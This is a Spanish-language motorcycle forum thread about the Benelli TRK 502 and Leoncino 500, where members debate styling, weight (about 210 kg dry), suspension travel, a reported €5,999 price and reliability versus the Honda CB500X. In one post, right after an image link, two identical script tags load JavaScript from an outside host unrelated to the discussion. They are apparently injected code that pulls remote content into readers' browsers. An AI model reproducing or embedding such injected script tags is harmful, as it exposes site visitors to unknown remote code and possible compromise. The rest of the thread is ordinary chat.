¿No queríais una Trail bicilíndrica de 500cc? Pues aquí tenéis dos: Benelli TKR 502 y Leoncino 500

[MiguelXR33]

Bueno, realmente una es una Trail y la otra una suerte de Scrambler... pero es que en el título no me cabía más. :-D
Novedades 2016. Benelli TRK 502 y Leocino 500: la marca italo-china se tira al monte con un nuevo motor (http://www.voromv.com/2015/11/novedades-2016-benelli-trk-502-y.html)
http://3.bp.blogspot.com/-ceAD4abHon0/VkzlMQnqNEI/AAAAAAAAUbo/7Jztm-xQC4Q/s640/benellitrk2016.jpg

:birra:

[pilila]

Estan muy guapas pero me recuerdan bastante a dos motos de una marca que empieza por duc y acaba por ati jajaja

[barbo7]

Hombre,no está mal que vaya habiendo alternativas...........algo es algo.

[zascandil]

Ojala tengan competencia

[gasclassic]

Pues pinta bien, ahora a ver lo que vale y lo que pesa.
Lástima que sea Benelli y no Honda, Yamaha, Suzuki........

[Antonioc]

Pues molan, sobre todo la leoncino. Aunque el típico "low cost" chino debe incluir un severo recorte en diseñadores... Son clónicas las dos... Si ese motor es fiable y el peso es contenido pueden tener buenas ventas...

Saludos.

[conejilope]

A mi la benelli me pone brutote

[ranex]

Pues son muy bonitas, una buena opción aunque la fiabilidad no se cómo será.

[JOE VESPINO]

Pues no tienen mala pinta, ni tampoco los acabados que se intuyen en las fotos (con tu permiso MiguelXR)

http://1.bp.blogspot.com/-WTm8gM_pNdA/VkzjnDTh_pI/AAAAAAAAUbQ/l1MmcJaoDi0/s640/Benelli-Leoncino-Engine.jpg<script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script>

[Fco]

Pues son muy bonitas, una buena opción aunque la fiabilidad no se cómo será.

+1

[transalacant]

Estan muy guapas pero me recuerdan bastante a dos motos de una marca que empieza por duc y acaba por ati jajaja

Pues yo diría que una si me recuerda mucho la Duc ati, concretamente el modelo scr ambler, pero a la otra le veo más parecido con la que empieza en BMW y termina en R1200GS

[pilila]

Pues yo diría que una si me recuerda mucho la Duc ati, concretamente el modelo scr ambler, pero a la otra le veo más parecido con la que empieza en BMW y termina en R1200GS
Jajaja pues a mi me recuerda mas a la multistrada, ambas motos estan muy bonitas lo interesante seria que sean fiables y con un servicio post venta decente

[conejilope]

Acabo de leer por ahi, que el peso, sera superior a 200 kgs. Una lastima...

[Juanmiroquai]

Pues me gustan mucho ambas, cada una en su estilo. Si salen a un precio bajo, que yo creo que si, podrían dar el bombazo...

La duda es qué tal va a funcionar la "nueva Benelli" a nivel de fiabilidad, garantías, recambios, etc.

La Benelli BN302 (de carretera), parece que está funcionando muy bien, con su estética de moda ahora y un precio muy bueno.

[manchi]

Ya cuando presentaron la Benelli 350 bicilindrica de carretera se intuía que ahí había más tomate. Supongo que este 500cc estará basado en aquel 350.

A ver que datos dan de peso y demás...

[selfsenda]

Yo que creía que esta marca ya no existía, miro los puntos de venta en España y veo que tiene una red bastante decente, en concreto en Pamplona la venden en un concesionario que suelo frecuentar.
Aunque estéticamente me gustan las dos, prefiero un poco más camperas. Si que me alegra que la cosa se mueva en cilindradas medias.

[ermanu3065]

Si no superaran los 6000€ se venderian bastante ,pero si te cascan 8000 ó 9000€ ya pierden un plus muy importante

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[conejilope]

212kg en seco para una moto de 500 cc, me parece un poco pesada. Para pistear estara muy bien, pero se quedara mas orientada al on que al off

[mugire]

212kg en seco para una moto de 500 cc, me parece un poco pesada. Para pistear estara muy bien, pero se quedara mas orientada al on que al off

Sumale las llantas de 17 en ambos trenes.. una pena, porque en las fotos se ve bonita.

[MiguelXR33]

Sumale las llantas de 17 en ambos trenes.. una pena, porque en las fotos se ve bonita.

¿Quien dice que sólo sale con llantas de 17"? En el artículo pone claro que la TKR 502 la venden con dos tipos de llantas: 17" de aleación o 19-17" de radios, las mismas que la Leoncino. La TKR saldrá en dos versiones, una asfalto y otra trail, con salida de silencioso más alta.

Benelli TRK 502 y Leocino 500: la marca italo-china se tira al monte con un nuevo motor (http://www.voromv.com/2015/11/novedades-2016-benelli-trk-502-y.html)

http://3.bp.blogspot.com/-ceAD4abHon0/VkzlMQnqNEI/AAAAAAAAUbo/7Jztm-xQC4Q/s640/benellitrk2016.jpg

http://4.bp.blogspot.com/-NMgrc8-eGhQ/VkzeLyZ2DUI/AAAAAAAAUaY/FCUYJT2q3tQ/s640/Benelli-TRK-502-1-web.jpg

http://4.bp.blogspot.com/-7wU28kwSTmc/VkzeOPhxfWI/AAAAAAAAUag/aZaqNTgWP-o/s640/Benelli-Trek-502-Unveiled-at-EICMA-2015.jpg

[mugire]

Bueno, bueno Don Miguel, sin enfadarse, un error lo tiene cualquiera.

Ahora ya solo le falta un precio acertado, y ya puestos algún voluntario que la compre para contarnos como va...

[MiguelXR33]

No me enfado Mugire amigo :birra: pero que digas eso justamente tú, que lees hasta las letras del final de las películas... :-D :-D :-D

[mugire]

He estado webeando e indican para ella un peso de 463 libras = 210k "en seco". Una barbaridad para esos 45/48CV. Tampoco las suspensiones son como bailar, de apenas 150mm en ambos ejes, a bastantes milímetros de las TA700 o Vstron.

En verdad que estas Benelli en relación con las CB500X con Kits Off que hemos estado contemplando por aqui hace pocas semanas, no es que tengan excesivas mejoras. Le pones unos TKC a la Honda, y prima hermana.

[transalacant]

La verdad es que estando la Honda CB500X por 6.000€ con ABS y tó, lo tienen crudo.

[jaimev]

Sea como sea estamos de enhorabuena, el mercado trail se mueve!!

[vientoymar]

150mm... Bastante lejos de la Vstrom??? que te crees que lleva?

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[mugire]

150mm... Bastante lejos de la Vstrom??? que te crees que lleva?

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Razón tienes, coincide con las Vstrom 650 en recorrido, aunque dista (177/173mm) de la TA700abs que es la que yo tengo. Perdón por meter a ambas en el mismo bote.

[vientoymar]

Es q me ha tocado sufrirla por campo, esos 170 de recorrido que tienes tu, es la altura libre al suelo de la Vstrom, ni decirte lo amortizado que acabó el cubrecarter

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[mugire]

Es q me ha tocado sufrirla por campo, esos 170 de recorrido que tienes tu, es la altura libre al suelo de la Vstrom, ni decirte lo amortizado que acabó el cubrecarter

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Creia que andaban mas parejas la Vstrom 650 y Ta700. Mucha gente las mete en el mismo saco aunque personalmente como translpero siempre he tratado de diferenciarlas matizando el mayor volumen, comodidad en viaje y consumos a favor de la Suzuki, en detrimento de sus aptitudes para off con respecto a las Hondas.
Casualmente una de las pocas quejas o defectos que le hallado en los casi 8 años que llevo acompañado de mi TA700abs es ese, que va un poco justita de amortiguación si le quieres exigir en monte, por lo demás, sin problemas.

[manchi]

Parece ser que la TRE K 502 ya se venda a 5999 €

A ver un valiente que la compre y nos diga como va :o

[manchi]

Todavía hay pocos videos en marcha, aquí dejo algo:


http://youtu.be/vfV8em5EiGI

[Antonioc]

Parece una mini GS1200. Muy voluminosa y asfáltica, pero si vale la tercera parte que la BMW bienvenida sea. Por los protagonistas del vídeo me da que está pensada para el mercado asiático... La pondrán a la venta en Europa?

Saludos.

[mugire]

Habrá que verla bien, de cerca, aunque indudablemente tiene buena pinta. Es evidente que tal como comentamos anteriormente esta más enfocada hacia el hueco de las Transalp700/ Vstrom650 que al de la nueva Africa 1000 o F800GS. Da la sensación de moto "grande".

Así, en pequeño comité, ¿no os recuerda a la F700GS? ¿Os habéis fijado que la mayoría de las tomas son por la banda contraria al escape y este apenas se consigue contemplar en una o dos contadas ocasiones siendo del tipo de la Versys?

[Marcos]

La verdad es que sufro un poco de hartazgo con el apellido adventure. Hay tomas en las que no sabes si es una cb 500x, una 1200gs, o una Tiger. Me parece demasiado artificio de moto, mucho plástico pa tan poco motor, pero es una apreciación personal.

[JOE VESPINO]

Muy chula y galactica, pero como dice alguno ahí arriba, al mismo precio que la honda CB500X ABS, yo tendría muy claro cual comprar

[josemari]

Las dos motos son un ejercicio de estilismo variando un poco más la oferta del mercado.

Aunque por motivos varios las opciones de compra se reducen comparando las ventajas de otras marcas en muchos de los apartados generales.

A más de uno le seducirá la estética y no le importará tanto los números ni comparaciones.

Sarna con gusto no pica.

Salut i benzina.

[conejilope]

Lo mas importante es que el mercado de la media cilindrada va resurgiendo.

[NGDakar]

A ver un valiente que la compre y nos diga como va :o

O a ver si le dejan una a JaimeV y nos hacemos una idea...

Un saludo